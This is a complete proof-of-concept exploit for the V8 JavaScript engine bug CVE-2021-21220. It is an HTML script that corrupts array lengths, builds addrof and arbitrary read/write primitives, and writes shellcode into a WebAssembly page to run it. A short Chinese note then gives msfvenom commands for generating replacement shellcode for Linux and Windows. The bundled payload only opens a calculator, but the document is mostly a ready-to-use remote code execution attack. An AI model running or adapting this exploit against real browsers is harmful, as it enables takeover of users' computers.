CVE-2021-21220

<script>
let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let i64 = new BigUint64Array(buf);

const ftoi = x => {
  f64[0] = x;
  return i64[0];
};

const itof = x => {
  i64[0] = x;
  return f64[0];
};

let x = false;
let a = [];

function foo(p) {
  return a.pop(Reflect.construct(function() {}, arguments, p));
}

let p = new Proxy(Object, {
  get: () => {
    if (x) a[0] = 1.1;
    return Object.prototype;
  }
});

const bar = () => {
  for (let i = 0; i < 10000; i++) {
    x = i == 10000 - 1;
    a = Array(0x100);
    foo(p);
  }

  return a;
};

let cor = bar();
let oob = [1.1, 2.2, 3.3];

/* flt.elements @ oob[10] */
/* obj.elements @ oob[18] */
/* rdw.elements @ oob[25] */
let flt = [1.1, 2.2, 3.3];
let obj = [{a: 1}];
let rdw = [1.1, 2.2, 3.3];

cor[133] = itof((1337n << 33n) + (ftoi(cor[133]) & 0xffffffffn));
console.assert(oob.length == 1337);

oob[10] = oob[19];

const addrof = o => {
  obj[0] = o;
  return ftoi(flt[0]) & 0xffffffffn - 1n;
};

const read = p => {
  oob[25] = itof((3n << 33n) + p - 8n + 1n);
  return ftoi(rdw[0]);
};

const write = (p, x) => {
  oob[25] = itof((3n << 33n) + p - 8n + 1n);
  rdw[0] = itof(x);
};

let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
  0x0b
]);

let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);

let rwx = read(addrof(instance) + 0x68n);

/* DISPLAY=':0.0' xcalc */ 
let shellcode = new Uint8Array([
  0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
  0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
  0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
  0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
  0x6a, 0x3b, 0x58, 0x0f, 0x05
]);

let abuf = new ArrayBuffer(shellcode.length);
let view = new DataView(abuf);

write(addrof(abuf) + 0x14n, rwx);

for (let i = 0; i < shellcode.length; i++) {
  view.setUint8(i, shellcode[i]);
}

instance.exports.main();
</script>

MSF使用，生成shellcode：

Linux

msfvenom -p linux/x86/exec CMD="DISPLAY=':0.0' xcalc" EXITFUNC=thread -f num

Windows

msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num